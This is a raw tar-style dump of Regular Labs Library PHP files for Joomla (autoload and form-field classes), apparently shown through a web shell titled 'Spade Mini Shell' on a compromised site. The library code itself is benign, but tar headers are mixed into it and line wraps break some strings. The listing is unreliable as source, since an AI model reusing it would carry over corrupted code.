Spade
Mini Shell
autoload.php000064400000000065151167425550007101 0ustar00<?php
require_once __DIR__ . '/vendor/autoload.php';
fields/accesslevel.php000064400000004230151167425550011026 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text as JText;
use Joomla\Registry\Registry;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_AccessLevel extends \RegularLabs\Library\Field
{
public $type = 'AccessLevel';
protected function getInput()
{
$size = (int) $this->get('size');
$multiple = $this->get('multiple');
$show_all = $this->get('show_all');
$use_names = $this->get('use_names');
return $this->selectListAjax(
$this->type, $this->name, $this->value, $this->id,
compact('size', 'multiple', 'show_all',
'use_names')
);
}
function getAjaxRaw(Registry $attributes)
{
$name = $attributes->get('name', $this->type);
$id = $attributes->get('id', strtolower($name));
$value = $attributes->get('value', []);
$size = $attributes->get('size');
$multiple = $attributes->get('multiple');
$options = $this->getOptions(
(bool) $attributes->get('show_all'),
(bool) $attributes->get('use_names')
);
return $this->selectList($options, $name, $value, $id, $size,
$multiple);
}
protected function getOptions($show_all = false, $use_names = false)
{
$options = $this->getAccessLevels($use_names);
if ($show_all)
{
$option = (object) [];
$option->value = -1;
$option->text = '- ' . JText::_('JALL') .
' -';
$option->disable = '';
array_unshift($options, $option);
}
return $options;
}
protected function getAccessLevels($use_names = false)
{
$value = $use_names ? 'a.title' : 'a.id';
$query = $this->db->getQuery(true)
->select($value . ' as value, a.title as text')
->from('#__viewlevels AS a')
->group('a.id')
->order('a.ordering ASC');
$this->db->setQuery($query);
return $this->db->loadObjectList();
}
}
fields/agents.php000064400000016304151167425550010023 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use Joomla\Registry\Registry;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Agents extends \RegularLabs\Library\Field
{
public $type = 'Agents';
protected function getInput()
{
if ( ! is_array($this->value))
{
$this->value = explode(',', $this->value);
}
$size = (int) $this->get('size');
$group = $this->get('group', 'os');
return $this->selectListSimpleAjax(
$this->type, $this->name, $this->value, $this->id,
compact('size', 'group')
);
}
function getAjaxRaw(Registry $attributes)
{
$name = $attributes->get('name', $this->type);
$id = $attributes->get('id', strtolower($name));
$value = $attributes->get('value', []);
$size = $attributes->get('size');
$options = $this->getAgents(
$attributes->get('group')
);
return $this->selectListSimple($options, $name, $value, $id, $size,
true);
}
function getAgents($group = 'os')
{
$agents = [];
switch ($group)
{
/* OS */
case 'os':
$agents[] = ['Windows (' . JText::_('JALL') .
')', 'Windows'];
$agents[] = ['Windows 10', 'Windows nt 10.0'];
$agents[] = ['Windows 8', 'Windows nt 6.2'];
$agents[] = ['Windows 7', 'Windows nt 6.1'];
$agents[] = ['Windows Vista', 'Windows nt 6.0'];
$agents[] = ['Windows Server 2003', 'Windows nt
5.2'];
$agents[] = ['Windows XP', 'Windows nt 5.1'];
$agents[] = ['Windows 2000 sp1', 'Windows nt
5.01'];
$agents[] = ['Windows 2000', 'Windows nt 5.0'];
$agents[] = ['Windows NT 4.0', 'Windows nt 4.0'];
$agents[] = ['Windows Me', 'Win 9x 4.9'];
$agents[] = ['Windows 98', 'Windows 98'];
$agents[] = ['Windows 95', 'Windows 95'];
$agents[] = ['Windows CE', 'Windows ce'];
$agents[] = ['Mac OS (' . JText::_('JALL') .
')', '#(Mac OS|Mac_PowerPC|Macintosh)#'];
$agents[] = ['Mac OSX (' . JText::_('JALL') .
')', 'Mac OS X'];
$agents[] = ['Mac OSX El Capitan', 'Mac OS X
10.11'];
$agents[] = ['Mac OSX Yosemite', 'Mac OS X 10.10'];
$agents[] = ['Mac OSX Mavericks', 'Mac OS X 10.9'];
$agents[] = ['Mac OSX Mountain Lion', 'Mac OS X
10.8'];
$agents[] = ['Mac OSX Lion', 'Mac OS X 10.7'];
$agents[] = ['Mac OSX Snow Leopard', 'Mac OS X
10.6'];
$agents[] = ['Mac OSX Leopard', 'Mac OS X 10.5'];
$agents[] = ['Mac OSX Tiger', 'Mac OS X 10.4'];
$agents[] = ['Mac OSX Panther', 'Mac OS X 10.3'];
$agents[] = ['Mac OSX Jaguar', 'Mac OS X 10.2'];
$agents[] = ['Mac OSX Puma', 'Mac OS X 10.1'];
$agents[] = ['Mac OSX Cheetah', 'Mac OS X 10.0'];
$agents[] = ['Mac OS (classic)',
'#(Mac_PowerPC|Macintosh)#'];
$agents[] = ['Linux', '#(Linux|X11)#'];
$agents[] = ['Open BSD', 'OpenBSD'];
$agents[] = ['Sun OS', 'SunOS'];
$agents[] = ['QNX', 'QNX'];
$agents[] = ['BeOS', 'BeOS'];
$agents[] = ['OS/2', 'OS/2'];
break;
/* Browsers */
case 'browsers':
if ($this->get('simple') &&
$this->get('simple') !== 'false')
{
$agents[] = ['Chrome', 'Chrome'];
$agents[] = ['Firefox', 'Firefox'];
$agents[] = ['Edge', 'Edge'];
$agents[] = ['Internet Explorer', 'MSIE'];
$agents[] = ['Opera', 'Opera'];
$agents[] = ['Safari', 'Safari'];
break;
}
$agents[] = ['Chrome (' . JText::_('JALL') .
')', 'Chrome'];
$agents[] = ['Chrome 61-70',
'#Chrome/(6[1-9]|70)\.#'];
$agents[] = ['Chrome 51-60',
'#Chrome/(5[1-9]|60)\.#'];
$agents[] = ['Chrome 41-50',
'#Chrome/(4[1-9]|50)\.#'];
$agents[] = ['Chrome 31-40',
'#Chrome/(3[1-9]|40)\.#'];
$agents[] = ['Chrome 21-30',
'#Chrome/(2[1-9]|30)\.#'];
$agents[] = ['Chrome 11-20',
'#Chrome/(1[1-9]|20)\.#'];
$agents[] = ['Chrome 1-10',
'#Chrome/([1-9]|10)\.#'];
$agents[] = ['Firefox (' . JText::_('JALL') .
')', 'Firefox'];
$agents[] = ['Firefox 61-70',
'#Firefox/(6[1-9]|70)\.#'];
$agents[] = ['Firefox 51-60',
'#Firefox/(5[1-9]|60)\.#'];
$agents[] = ['Firefox 41-50',
'#Firefox/(4[1-9]|50)\.#'];
$agents[] = ['Firefox 31-40',
'#Firefox/(3[1-9]|40)\.#'];
$agents[] = ['Firefox 21-30',
'#Firefox/(2[1-9]|30)\.#'];
$agents[] = ['Firefox 11-20',
'#Firefox/(1[1-9]|20)\.#'];
$agents[] = ['Firefox 1-10',
'#Firefox/([1-9]|10)\.#'];
$agents[] = ['Internet Explorer (' .
JText::_('JALL') . ')', 'MSIE'];
$agents[] = ['Internet Explorer Edge', 'MSIE
Edge']; // missing MSIE is added to agent string in
assignments/agents.php
$agents[] = ['Edge 15', 'Edge/15'];
$agents[] = ['Edge 14', 'Edge/14'];
$agents[] = ['Edge 13', 'Edge/13'];
$agents[] = ['Edge 12', 'Edge/12'];
$agents[] = ['Internet Explorer 11', 'MSIE 11']; //
missing MSIE is added to agent string in assignments/agents.php
$agents[] = ['Internet Explorer 10.6', 'MSIE
10.6'];
$agents[] = ['Internet Explorer 10.0', 'MSIE
10.0'];
$agents[] = ['Internet Explorer 10', 'MSIE 10.'];
$agents[] = ['Internet Explorer 9', 'MSIE 9.'];
$agents[] = ['Internet Explorer 8', 'MSIE 8.'];
$agents[] = ['Internet Explorer 7', 'MSIE 7.'];
$agents[] = ['Internet Explorer 1-6', '#MSIE
[1-6]\.#'];
$agents[] = ['Opera (' . JText::_('JALL') .
')', 'Opera'];
$agents[] = ['Opera 51-60',
'#Opera/(5[1-9]|60)\.#'];
$agents[] = ['Opera 41-50',
'#Opera/(4[1-9]|50)\.#'];
$agents[] = ['Opera 31-40',
'#Opera/(3[1-9]|40)\.#'];
$agents[] = ['Opera 21-30',
'#Opera/(2[1-9]|30)\.#'];
$agents[] = ['Opera 11-20',
'#Opera/(1[1-9]|20)\.#'];
$agents[] = ['Opera 1-10', '#Opera/([1-9]|10)\.#'];
$agents[] = ['Safari (' . JText::_('JALL') .
')', 'Safari'];
$agents[] = ['Safari 11',
'#Version/11\..*Safari/#'];
$agents[] = ['Safari 10',
'#Version/10\..*Safari/#'];
$agents[] = ['Safari 9', '#Version/9\..*Safari/#'];
$agents[] = ['Safari 8', '#Version/8\..*Safari/#'];
$agents[] = ['Safari 7', '#Version/7\..*Safari/#'];
$agents[] = ['Safari 6', '#Version/6\..*Safari/#'];
$agents[] = ['Safari 5', '#Version/5\..*Safari/#'];
$agents[] = ['Safari 4', '#Version/4\..*Safari/#'];
$agents[] = ['Safari 1-3',
'#Version/[1-3]\..*Safari/#'];
break;
/* Mobile browsers */
case 'mobile':
$agents[] = [JText::_('JALL'), 'mobile'];
$agents[] = ['Android', 'Android'];
$agents[] = ['Android Chrome',
'#Android.*Chrome#'];
$agents[] = ['Blackberry', 'Blackberry'];
$agents[] = ['IE Mobile', 'IEMobile'];
$agents[] = ['iPad', 'iPad'];
$agents[] = ['iPhone', 'iPhone'];
$agents[] = ['iPod Touch', 'iPod'];
$agents[] = ['NetFront', 'NetFront'];
$agents[] = ['Nokia', 'NokiaBrowser'];
$agents[] = ['Opera Mini', 'Opera Mini'];
$agents[] = ['Opera Mobile', 'Opera Mobi'];
$agents[] = ['UC Browser', 'UC Browser'];
break;
}
$options = [];
foreach ($agents as $agent)
{
$option = JHtml::_('select.option', $agent[1], $agent[0]);
$options[] = $option;
}
return $options;
}
}
fields/ajax.php000064400000011024151167425550007457 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\Document as RL_Document;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Ajax extends \RegularLabs\Library\Field
{
public $type = 'Ajax';
protected function getInput()
{
RL_Document::loadMainDependencies();
$class = $this->get('class', 'btn');
if ($this->get('disabled'))
{
return $this->getButton($class . ' disabled',
'disabled');
}
$loading = 'jQuery("#' . $this->id . '
span:nth-child(1)").attr("class", "icon-refresh
icon-spin");';
$success = '
jQuery("#' . $this->id .
'").removeClass("btn-warning").addClass("btn-success");
jQuery("#' . $this->id . '
span:nth-child(1)").attr("class", "icon-ok");
if(data){
jQuery("#message_' . $this->id .
'").addClass("alert alert-success alert-noclose
alert-inline").html(data);
}
';
$error = '
jQuery("#' . $this->id .
'").removeClass("btn-success").addClass("btn-warning");
jQuery("#' . $this->id . '
span:nth-child(1)").attr("class", "icon-warning");
if(data){
let error = data;
if(data.statusText) {
error = data.statusText;
if(data.responseText.test(/<blockquote>/)) {
error =
data.responseText.replace(/^[.\\\\s\\\\S]*?<blockquote>([.\\\\s\\\\S]*?)<\\\\/blockquote>[.\\\\s\\\\S]*$/gm,
"$1");
}
}
jQuery("#message_' . $this->id .
'").addClass("alert alert-danger alert-noclose
alert-inline").html(error);
}';
if ($this->get('success-disabled'))
{
$success .= '
jQuery("#' . $this->id . '").disabled = true;
jQuery("#' . $this->id .
'").addClass("disabled");
jQuery("#' . $this->id .
'").attr("onclick", "return false;");
';
}
if ($this->get('success-text') ||
$this->get('error-text'))
{
$success_text = $this->get('success-text',
$this->get('text'));
$error_text = $this->get('error-text',
$this->get('text'));
$success .= '
jQuery("#' . $this->id . '
span:nth-child(2)").text("' .
addslashes(JText::_($success_text)) . '");
';
$error .= '
jQuery("#' . $this->id . '
span:nth-child(2)").text("' .
addslashes(JText::_($error_text)) . '");
';
}
$query = '';
if ($url_query = $this->get('url-query'))
{
$name_prefix = $this->form->getFormControl() . '\\\[' .
$this->group . '\\\]';
$id_prefix = $this->form->getFormControl() . '_' .
$this->group . '_';
$query_parts = [];
$url_query = explode(',', $url_query);
foreach ($url_query as $url_query_part)
{
list($key, $id) = explode(':', $url_query_part);
$el_name = 'document.querySelector("input[name=' .
$name_prefix . '\\\[' . $id . '\\\]]:checked")';
$el_id = 'document.querySelector("#' . $id_prefix .
$id . '")';
$query_parts[] = '`&' . $key . '=`'
. ' + encodeURI(' . $el_name . ' ? ' . $el_name .
'.value : (' . $el_id . ' ? ' . $el_id .
'.value' . ' : ""))';
}
$query = '+' . implode('+', $query_parts);
}
$script = 'function loadAjax' . $this->id . '() {
' . $loading . '
jQuery("#message_' . $this->id .
'").attr("class", "").html("");
RegularLabsScripts.loadajax(
`' . addslashes($this->get('url')) . '`' .
$query . ',
`
if(data == "" || data.substring(0,1) == "+") {
data = data.trim().replace(/^[+]/, "");
' . $success . '
} else {
data = data.trim().replace(/^[-]/, "");
' . $error . '
}`,
`' . $error . '`
);
}';
$script = preg_replace('#\s*\n\s*#', ' ', $script);
JFactory::getDocument()->addScriptDeclaration($script);
$attributes = 'onclick="loadAjax' . $this->id .
'();return false;"';
return $this->getButton($class, $attributes);
}
private function getButton($class = 'btn', $attributes =
'')
{
$icon = $this->get('icon', '')
? 'icon-' . $this->get('icon', '')
: '';
return
'<button id="' . $this->id . '"
class="' . $class . '"'
. ' title="' .
JText::_($this->get('description')) . '"'
. ' ' . $attributes . '>'
. '<span class="' . $icon .
'"></span> '
. '<span>' . JText::_($this->get('text',
$this->get('label'))) . '</span>'
. '</button>'
. '<div id="message_' . $this->id .
'"></div>';
}
}
fields/akeebasubs.php000064400000002245151167425550010646 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_AkeebaSubs extends \RegularLabs\Library\FieldGroup
{
public $type = 'AkeebaSubs';
public $default_group = 'Levels';
protected function getInput()
{
if ($error = $this->missingFilesOrTables(['levels']))
{
return $error;
}
return $this->getSelectList();
}
function getLevels()
{
$query = $this->db->getQuery(true)
->select('l.akeebasubs_level_id as id, l.title AS name,
l.enabled as published')
->from('#__akeebasubs_levels AS l')
->where('l.enabled > -1')
->order('l.title, l.akeebasubs_level_id');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
return $this->getOptionsByList($list, ['id']);
}
}
fields/assignmentselection.php000064400000007301151167425550012615
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\StringHelper as RL_String;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
/**
* @deprecated 2018-10-30 Use ConditionSelection instead
*/
class JFormFieldRL_AssignmentSelection extends \RegularLabs\Library\Field
{
public $type = 'AssignmentSelection';
protected function getLabel()
{
return '';
}
protected function getInput()
{
require_once __DIR__ . '/toggler.php';
$toggler = new RLFieldToggler;
$this->value = (int) $this->value;
$label = $this->get('label');
$param_name = $this->get('name');
$use_main_toggle = $this->get('use_main_toggle', 1);
$showclose = $this->get('showclose', 0);
$html = [];
if ( ! $label)
{
if ($use_main_toggle)
{
$html[] = $toggler->getInput(['div' => 1]);
}
$html[] = $toggler->getInput(['div' => 1]);
return '</div>' . implode('', $html);
}
$label = RL_String::html_entity_decoder(JText::_($label));
$html[] = '</div>';
if ($use_main_toggle)
{
$html[] = $toggler->getInput(['div' => 1,
'param' => 'show_assignments|' . $param_name,
'value' => '1|1,2']);
}
$class = 'well well-small rl_well';
if ($this->value === 1)
{
$class .= ' alert-success';
}
else if ($this->value === 2)
{
$class .= ' alert-error';
}
$html[] = '<div class="' . $class .
'">';
if ($showclose &&
JFactory::getUser()->authorise('core.admin'))
{
$html[] = '<button type="button" class="close
rl_remove_assignment"
aria-label="Close">×</button>';
}
$html[] = '<div class="control-group">';
$html[] = '<div class="control-label">';
$html[] = '<label><h4
class="rl_assignmentselection-header">' . $label .
'</h4></label>';
$html[] = '</div>';
$html[] = '<div class="controls">';
$html[] = '<fieldset id="' . $this->id .
'" class="radio btn-group">';
$onclick = ' onclick="RegularLabsForm.setToggleTitleClass(this,
0)"';
$html[] = '<input type="radio" id="' .
$this->id . '0" name="' . $this->name .
'" value="0"' . (( ! $this->value) ? '
checked="checked"' : '') . $onclick .
'>';
$html[] = '<label class="rl_btn-ignore"
for="' . $this->id . '0">' .
JText::_('RL_IGNORE') . '</label>';
$onclick = ' onclick="RegularLabsForm.setToggleTitleClass(this,
1)"';
$html[] = '<input type="radio" id="' .
$this->id . '1" name="' . $this->name .
'" value="1"' . (($this->value === 1) ? '
checked="checked"' : '') . $onclick .
'>';
$html[] = '<label class="rl_btn-include"
for="' . $this->id . '1">' .
JText::_('RL_INCLUDE') . '</label>';
$onclick = ' onclick="RegularLabsForm.setToggleTitleClass(this,
2)"';
$onclick .= ' onload="RegularLabsForm.setToggleTitleClass(this,
' . $this->value . ', 7)"';
$html[] = '<input type="radio" id="' .
$this->id . '2" name="' . $this->name .
'" value="2"' . (($this->value === 2) ? '
checked="checked"' : '') . $onclick .
'>';
$html[] = '<label class="rl_btn-exclude"
for="' . $this->id . '2">' .
JText::_('RL_EXCLUDE') . '</label>';
$html[] = '</fieldset>';
$html[] = '</div>';
$html[] = '</div>';
$html[] = '<div class="clearfix">
</div>';
$html[] = $toggler->getInput(['div' => 1,
'param' => $param_name, 'value' =>
'1,2']);
$html[] = '<div><div>';
return '</div>' . implode('', $html);
}
}
fields/block.php000064400000003360151167425550007632 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Block extends \RegularLabs\Library\Field
{
public $type = 'Block';
protected function getLabel()
{
return '';
}
protected function getInput()
{
$title = $this->get('label');
$description = $this->get('description');
$class = $this->get('class');
$showclose = $this->get('showclose', 0);
$nowell = $this->get('nowell', 0);
$start = $this->get('start', 0);
$end = $this->get('end', 0);
$html = [];
if ($start || ! $end)
{
$html[] = '</div>';
if (strpos($class, 'alert') !== false)
{
$class = 'alert ' . $class;
}
else if ( ! $nowell)
{
$class = 'well well-small ' . $class;
}
$html[] = '<div class="' . $class .
'">';
if ($showclose &&
JFactory::getUser()->authorise('core.admin'))
{
$html[] = '<button type="button" class="close
rl_remove_assignment"
aria-label="Close">×</button>';
}
if ($title)
{
$html[] = '<h4>' . $this->prepareText($title) .
'</h4>';
}
if ($description)
{
$html[] = '<div>' . $this->prepareText($description)
. '</div>';
}
$html[] = '<div><div>';
}
if ( ! $start && ! $end)
{
$html[] = '</div>';
}
return '</div>' . implode('', $html);
}
}
fields/checkbox.php000064400000005107151167425550010327 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text as JText;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Checkbox extends \RegularLabs\Library\Field
{
public $type = 'Checkbox';
protected function getInput()
{
$showcheckall = $this->get('showcheckall', 0);
$checkall = ($this->value == '*');
if ( ! $checkall)
{
if ( ! is_array($this->value))
{
$this->value = explode(',', $this->value);
}
}
$options = [];
foreach ($this->element->children() as $option)
{
if ($option->getName() != 'option')
{
continue;
}
$text = trim((string) $option);
$hasval = 0;
if (isset($option['value']))
{
$val = (string) $option['value'];
$disabled = (int) $option['disabled'];
$hasval = 1;
}
if ($hasval)
{
$option = '<input type="checkbox"
class="rl_' . $this->id . '" id="' .
$this->id . $val . '" name="' . $this->name .
'[]" value="' . $val . '"';
if ($checkall || in_array($val, $this->value))
{
$option .= ' checked="checked"';
}
if ($disabled)
{
$option .= ' disabled="disabled"';
}
$option .= '> <label for="' . $this->id . $val
. '" class="checkboxes">' . JText::_($text) .
'</label>';
}
else
{
$option = '<label
style="clear:both;"><strong>' . JText::_($text) .
'</strong></label>';
}
$options[] = $option;
}
$options = implode('', $options);
if ($showcheckall)
{
$js = "
jQuery(document).ready(function() {
RegularLabsForm.initCheckAlls('rl_checkall_" . $this->id
. "', 'rl_" . $this->id . "');
});
";
JFactory::getDocument()->addScriptDeclaration($js);
$checker = '<input id="rl_checkall_' . $this->id .
'" type="checkbox" onclick="
RegularLabsForm.checkAll( this, \'rl_' . $this->id .
'\' );"> ' . JText::_('JALL');
$options = $checker . '<br>' . $options;
}
$options .= '<input type="hidden" id="' .
$this->id . 'x" name="' . $this->name .
'' . '[]" value="x"
checked="checked">';
$html = [];
$html[] = '<fieldset id="' . $this->id .
'" class="checkbox">';
$html[] = $options;
$html[] = '</fieldset>';
return implode('', $html);
}
}
fields/codeeditor.php000064400000004264151167425550010665 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Editor\Editor as JEditor;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Plugin\PluginHelper as JPluginHelper;
use RegularLabs\Library\Document as RL_Document;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_CodeEditor extends \RegularLabs\Library\Field
{
public $type = 'CodeEditor';
protected function getInput()
{
$width = $this->get('width', '100%');
$height = $this->get('height', 400);
$syntax = $this->get('syntax', 'html');
$this->value = htmlspecialchars(str_replace('\n',
"\n", $this->value), ENT_COMPAT, 'UTF-8');
$editor_plugin = JPluginHelper::getPlugin('editors',
'codemirror');
if (empty($editor_plugin))
{
return
'<textarea name="' . $this->name . '"
style="'
. 'width:' . (strpos($width, '%') ? $width : $width
. 'px') . ';'
. 'height:' . (strpos($height, '%') ? $height :
$height . 'px') . ';'
. '" id="' . $this->id . '">'
. $this->value . '</textarea>';
}
RL_Document::script('regularlabs/codemirror.min.js');
RL_Document::stylesheet('regularlabs/codemirror.min.css');
JFactory::getDocument()->addScriptDeclaration("
jQuery(document).ready(function($) {
RegularLabsCodeMirror.init('" . $this->id . "');
});
");
JFactory::getDocument()->addStyleDeclaration("
#rl_codemirror_" . $this->id . " .CodeMirror {
height: " . $height . "px;
min-height: " . min($height, '100') . "px;
}
");
return '<div class="rl_codemirror"
id="rl_codemirror_' . $this->id . '">'
. JEditor::getInstance('codemirror')->display(
$this->name, $this->value,
$width, $height,
80, 10,
false,
$this->id, null, null,
['markerGutter' => false, 'activeLine' =>
true, 'syntax' => $syntax, 'class' =>
'xxx']
)
. '</div>';
}
}
fields/color.php000064400000003441151167425550007656 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Form\FormField as JFormField;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\RegEx as RL_RegEx;
jimport('joomla.form.formfield');
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Color extends JFormField
{
public $type = 'Color';
protected function getInput()
{
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return null;
}
$field = new RLFieldColor;
return $field->getInput($this->name, $this->id, $this->value,
$this->element->attributes());
}
}
class RLFieldColor
{
function getInput($name, $id, $value, $params)
{
$this->name = $name;
$this->id = $id;
$this->value = $value;
$this->params = $params;
$class = trim('rl_color minicolors ' .
$this->get('class'));
$disabled = $this->get('disabled') ? '
disabled="disabled"' : '';
RL_Document::script('regularlabs/color.min.js');
RL_Document::stylesheet('regularlabs/color.min.css');
$this->value = strtolower(RL_RegEx::replace('[^a-z0-9]',
'', $this->value));
return '<input type="text" name="' .
$this->name . '" id="' . $this->id . '"
class="' . $class . '" value="' .
$this->value . '"' . $disabled . '>';
}
private function get($val, $default = '')
{
return (isset($this->params[$val]) && (string)
$this->params[$val] != '') ? (string) $this->params[$val] :
$default;
}
}
fields/components.php000064400000006763151167425550010737 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use Joomla\Registry\Registry;
use RegularLabs\Library\RegEx as RL_RegEx;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Components extends \RegularLabs\Library\Field
{
public $type = 'Components';
protected function getInput()
{
$size = (int) $this->get('size');
return $this->selectListSimpleAjax(
$this->type, $this->name, $this->value, $this->id,
compact('size')
);
}
function getAjaxRaw(Registry $attributes)
{
$name = $attributes->get('name', $this->type);
$id = $attributes->get('id', strtolower($name));
$value = $attributes->get('value', []);
$size = $attributes->get('size');
$options = $this->getComponents();
return $this->selectListSimple($options, $name, $value, $id, $size,
true);
}
function getComponents()
{
$frontend = $this->get('frontend', 1);
$admin = $this->get('admin', 1);
if ( ! $frontend && ! $admin)
{
return [];
}
jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.file');
$query = $this->db->getQuery(true)
->select('e.name, e.element')
->from('#__extensions AS e')
->where('e.type = ' .
$this->db->quote('component'))
->where('e.name != ""')
->where('e.element != ""')
->group('e.element')
->order('e.element, e.name');
$this->db->setQuery($query);
$components = $this->db->loadObjectList();
$comps = [];
$lang = JFactory::getLanguage();
foreach ($components as $i => $component)
{
if (empty($component->element))
{
continue;
}
$component_folder = ($frontend ? JPATH_SITE : JPATH_ADMINISTRATOR) .
'/components/' . $component->element;
if ( ! JFolder::exists($component_folder) && $admin)
{
$component_folder = JPATH_ADMINISTRATOR . '/components/' .
$component->element;
}
// return if there is no main component folder
if ( ! JFolder::exists($component_folder))
{
continue;
}
// return if there is no view(s) folder
if ( ! JFolder::exists($component_folder . '/views')
&& ! JFolder::exists($component_folder . '/view'))
{
continue;
}
if (strpos($component->name, ' ') === false)
{
// Load the core file then
// Load extension-local file.
$lang->load($component->element . '.sys', JPATH_BASE,
null, false, false)
|| $lang->load($component->element . '.sys',
JPATH_ADMINISTRATOR . '/components/' . $component->element,
null, false, false)
|| $lang->load($component->element . '.sys',
JPATH_BASE, $lang->getDefault(), false, false)
|| $lang->load($component->element . '.sys',
JPATH_ADMINISTRATOR . '/components/' . $component->element,
$lang->getDefault(), false, false);
$component->name = JText::_(strtoupper($component->name));
}
$comps[RL_RegEx::replace('[^a-z0-9_]', '',
$component->name . '_' . $component->element)] =
$component;
}
ksort($comps);
$options = [];
foreach ($comps as $component)
{
$options[] = JHtml::_('select.option', $component->element,
$component->name);
}
return $options;
}
}
fields/conditionselection.php000064400000007505151167425550012441
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\ShowOn as RL_ShowOn;
use RegularLabs\Library\StringHelper as RL_String;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
